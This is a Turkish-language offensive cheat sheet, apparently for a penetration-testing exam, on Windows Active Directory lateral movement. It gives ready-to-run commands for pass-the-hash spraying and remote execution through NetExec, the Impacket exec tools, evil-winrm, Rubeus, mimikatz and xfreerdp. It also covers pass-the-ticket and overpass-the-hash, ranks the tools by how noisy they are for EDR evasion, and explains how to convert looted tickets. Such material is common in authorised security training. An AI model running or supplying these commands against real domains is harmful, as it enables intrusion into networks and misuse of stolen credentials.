FOOTHOLD Metodoloji Cheat-sheet
Lateral ✓ EXAM-SAFE orta :445:135:5985:5986:3389:88

Yatay Hareket — PtH / PtT / OverPass-the-Hash / psexec-wmiexec-smbexec-atexec-dcomexec / evil-winrm / RDP

Ele geçirilen kimlik bilgileriyle (parola, NT hash, Kerberos bileti) domain içinde başka makinelere geçme: NetExec/Impacket exec aileleri (-hashes), Pass-the-Ticket (KRB5CCNAME + -k -no-pass), OverPass-the-Hash (Rubeus asktgt), evil-winrm -H, RDP PtH ve token taklit.

Bilgi: ÖN KOŞULLAR
  • Geçerli kimlik: {{USER}}:{{PASS}} ya da {{NTHASH}} ya da .ccache bileti
  • Hedef makinede hesabın yerel/uzak yönetim hakkı (admin, Remote Management Users, vb.)
  • Erişilebilir SMB(445)/WinRM(5985)/RDP(3389) ve DC'ye Kerberos(88) erişimi
┌──

Komutlar

netexec ✓ EXAM-SAFE user
nxc smb {{RHOSTS}} -u {{USER}} -H {{NTHASH}} --local-auth
Pass-the-Hash spray: bir NT hash'i bir ağ aralığında dene; 'Pwn3d!' çıkan host = admin. --local-auth yerel hesap için, domain için kaldır. NetExec Wiki — Pass the Hash; HackTricks AD — Lateral Movement
netexec ✓ EXAM-SAFE admin
nxc smb {{RHOST}} -u {{USER}} -H {{NTHASH}} -x 'whoami /all'
PtH ile uzaktan komut çalıştır (-x cmd, -X powershell). Admin ise SMB üzerinden komut döner. NetExec Wiki — command execution; WADComs NetExec PtH
impacket-psexec ✓ EXAM-SAFE admin
impacket-psexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
Pass-the-Hash ile SYSTEM shell. ADMIN$ paylaşımına servis yükler — gürültülü ama güvenilir. Parola ile: {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}}. WADComs — Impacket-psexec PtH; HackTricks AD — psexec
impacket-wmiexec ✓ EXAM-SAFE admin
impacket-wmiexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
PtH ile WMI üzerinden semi-interaktif shell (135/DCOM + 445). Servis kurmaz, psexec'ten daha sessiz. EDR kaçışı için tercih. WADComs — Impacket-wmiexec PtH; HackTricks AD — wmiexec
impacket-smbexec ✓ EXAM-SAFE admin
impacket-smbexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
PtH ile SMB tabanlı komut yürütme; çıktıyı geçici dosyaya yazıp okur. psexec'e benzer ama farklı IOC. WADComs — Impacket-smbexec PtH; HackTricks AD — smbexec
impacket-atexec ✓ EXAM-SAFE admin
impacket-atexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}} 'whoami'
PtH ile Task Scheduler (atsvc) üzerinden tek komut çalıştır; psexec engelliyse alternatif. WADComs — Impacket-atexec; HackTricks AD — atexec
impacket-dcomexec ✓ EXAM-SAFE admin
impacket-dcomexec -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}}@{{RHOST}}
PtH ile DCOM (MMC20/ShellWindows) üzerinden komut yürütme; SMB exec engelliyse DCOM yolu. WADComs — Impacket-dcomexec; HackTricks AD — dcomexec
evil-winrm ✓ EXAM-SAFE user
evil-winrm -i {{RHOST}} -u {{USER}} -H {{NTHASH}}
WinRM (5985) üzerinden PtH ile interaktif PowerShell shell. Remote Management Users üyesi yeter, lokal admin şart değil. HackTricks — WinRM / evil-winrm; WADComs evil-winrm hash
impacket-getTGT ✓ EXAM-SAFE user
impacket-getTGT -hashes :{{NTHASH}} {{DOMAIN}}/{{USER}} -dc-ip {{DC_IP}}
OverPass-the-Hash (Linux): NT hash'ten Kerberos TGT (.ccache) al. Çıkan bileti KRB5CCNAME'e koyup PtT yap. Impacket getTGT; The Hacker Recipes — OverPass-the-Hash
impacket-wmiexec ✓ EXAM-SAFE admin
export KRB5CCNAME={{USER}}.ccache; impacket-wmiexec -k -no-pass {{DOMAIN}}/{{USER}}@{{DC_HOST}}
Pass-the-Ticket: KRB5CCNAME'e .ccache'i koy, -k -no-pass ile Kerberos auth. Hedefe SPN'in DNS adıyla (FQDN) bağlan, IP ile DEĞİL. The Hacker Recipes — Pass-the-Ticket; HackTricks AD — PtT
netexec ✓ EXAM-SAFE admin
KRB5CCNAME={{USER}}.ccache nxc smb {{DC_HOST}} -k --use-kcache -x 'whoami'
PtT için NetExec: cache'teki bileti kullan (-k --use-kcache). Host'u FQDN ver, Kerberos isim eşleşmesi şart. NetExec Wiki — Kerberos authentication; HackTricks AD — PtT
rubeus ✓ EXAM-SAFE user
Rubeus.exe asktgt /user:{{USER}} /rc4:{{NTHASH}} /domain:{{DOMAIN}} /dc:{{DC_IP}} /ptt
OverPass-the-Hash (Windows): RC4=NT hash'ten TGT iste ve mevcut oturuma enjekte et (/ptt). Sonra Kerberos ile lateral. Rubeus Docs — asktgt; The Hacker Recipes — OverPass-the-Hash
rubeus ✓ EXAM-SAFE user
Rubeus.exe ptt /ticket:ticket.kirbi
Pass-the-Ticket (Windows): .kirbi bileti mevcut logon oturumuna enjekte et; sonra klist ile teyit, dir \\{{RHOST}}\C$. Rubeus Docs — ptt; HackTricks AD — Pass the Ticket
mimikatz ✓ EXAM-SAFE admin
sekurlsa::pth /user:{{USER}} /domain:{{DOMAIN}} /ntlm:{{NTHASH}} /run:powershell.exe
Windows PtH: yeni süreç başlatıp NT hash'i o oturumun kimliğine enjekte et; ardından dosya/araç ile lateral. Mimikatz — sekurlsa::pth; HackTricks AD — Pass the Hash
netexec ✓ EXAM-SAFE admin
nxc rdp {{RHOST}} -u {{USER}} -H {{NTHASH}}
RDP Pass-the-Hash kontrolü: Restricted Admin Mode açıksa NT hash ile RDP doğrulanır. xfreerdp ile bağlanmak için DisableRestrictedAdmin gerekebilir. NetExec Wiki — rdp; HackTricks — RDP Pass the Hash
xfreerdp ✓ EXAM-SAFE admin
xfreerdp /v:{{RHOST}} /u:{{USER}} /pth:{{NTHASH}} /d:{{DOMAIN}} +clipboard
RDP PtH ile grafik oturum (Restricted Admin Mode gerekli). Parola ile: /p:'{{PASS}}'. HackTricks — RDP /pth; WADComs xfreerdp pth
psexec.py ✓ EXAM-SAFE admin
impacket-psexec -k -no-pass {{DOMAIN}}/{{USER}}@{{DC_HOST}}
PtT ile psexec SYSTEM shell; KRB5CCNAME ayarlı olmalı ve hedef FQDN ile çağrılmalı. The Hacker Recipes — Pass-the-Ticket; HackTricks AD — psexec -k

Yatay hareket (lateral movement), bir makinede ele geçirdiğin kimliği (parola / NT hash / Kerberos bileti) kullanarak başka makinelere yayılmaktır. Hangi malzemen olduğuna göre üç ana teknik vardır: NTLM tarafında Pass-the-Hash, Kerberos tarafında Pass-the-Ticket ve ikisinin köprüsü OverPass-the-Hash.

1. Pass-the-Hash (PtH)

NTLM kimlik doğrulama parolanın kendisini değil, NT hash’ini kullanır — yani plaintext’i kırmadan hash ile doğrulanırsın. Önce spray ile hash’in nerede admin olduğunu bul: nxc smb {{RHOSTS}} -u {{USER}} -H {{NTHASH}}. ‘Pwn3d!’ çıkan host’larda exec ailesini kullan:

  1. psexec — ADMIN$‘a servis kurar, SYSTEM shell verir; en güvenilir ama en gürültülü (servis IOC).
  2. wmiexec — WMI/DCOM üzerinden, servis kurmaz; daha sessiz, EDR ortamında ilk tercih.
  3. smbexec — SMB üzerinden komut, çıktıyı temp dosyaya yazar.
  4. atexec — Task Scheduler; psexec/wmi engelliyse.
  5. dcomexec — DCOM (MMC20.Application); SMB exec yolları kapalıysa.

Hepsinde -hashes :{{NTHASH}} formatı kullanılır (LM boş, iki nokta sonrası NT). Lokal admin yerine sadece WinRM hakkı varsa evil-winrm -H {{NTHASH}} interaktif PowerShell verir. Gotcha: Domain hesabında --local-auth KULLANMA; o bayrak yerel SAM hesapları içindir.

2. Pass-the-Ticket (PtT)

Elinde bir Kerberos bileti (.ccache Linux / .kirbi Windows) varsa parolaya/hash’e hiç gerek yok. Linux’ta bileti ortam değişkenine koyarsın: export KRB5CCNAME=bilet.ccache, sonra her impacket/nxc aracında -k -no-pass (nxc’de -k --use-kcache). Windows’ta Rubeus.exe ptt /ticket:bilet.kirbi ile mevcut oturuma enjekte edersin, klist ile teyit. En kritik gotcha: Kerberos isme bağlıdır — hedefe MUTLAKA FQDN/DNS adıyla ({{DC_HOST}}) bağlan, IP ile bağlanırsan SPN eşleşmez ve KRB_AP_ERR_* alırsın. /etc/hosts’a IP-FQDN eşlemesini ekle.

3. OverPass-the-Hash (Pass-the-Key)

NTLM exec’in engellendiği ama Kerberos’un açık olduğu ortamlarda NT hash’i Kerberos TGT’ye çevirirsin. Linux: impacket-getTGT -hashes :{{NTHASH}} -> .ccache -> PtT. Windows: Rubeus.exe asktgt /rc4:{{NTHASH}} /ptt (RC4 anahtarı = NT hash) -> bilet oturuma girer -> Kerberos lateral. Bu, saf NTLM’in izlenip Kerberos’un izlenmediği ağlarda tespit kaçışı sağlar.

4. RDP ile Lateral

RDP PtH ancak hedefte Restricted Admin Mode açıksa çalışır: nxc rdp -H {{NTHASH}} doğrularsa xfreerdp /pth:{{NTHASH}} ile grafik oturum açarsın. Kapalıysa parolayı kırman ya da DisableRestrictedAdmin registry’sini admin olarak açman gerekir.

5. Token Taklit / sekurlsa::pth

Windows ana makinesinde admin’sen mimikatz sekurlsa::pth /ntlm:{{NTHASH}} /run:powershell.exe yeni bir süreci o kimlikle başlatır; o pencereden ağ kaynaklarına (dir \{{RHOST}}\C$) eriş. Lokal token abuse için ele geçen oturumlardaki delegasyon token’larını taklit edebilir (Incognito/token::elevate), oradaki ayrıcalıklı kullanıcılar olarak lateral yapabilirsin.

Sık Hatalar ve İpuçları

  • Saat kayması (clock skew): Kerberos ±5 dk tolerans ister. ntpdate {{DC_IP}} veya rdate -n {{DC_IP}} ile saatini DC’ye eşle, yoksa KRB_AP_ERR_SKEW.
  • FQDN zorunluluğu: Tüm Kerberos akışlarında host’u DNS adıyla ver; IP Kerberos’u bozar.
  • KRB5CCNAME: PtT öncesi mutlaka export et; unutursan araç parola/hash arar ve başarısız olur.
  • Sessizlik sırası: wmiexec/atexec < smbexec < psexec (gürültü). EDR varsa wmiexec/evil-winrm ile başla.
  • Loot edilen bileti dönüştürme: Mimikatz .kirbi’yi impacket-ticketConverter ile .ccache’e (ve tersine) çevirip Linux<->Windows araçları arasında taşıyabilirsin.
┌──

Kaynaklar

0/15 set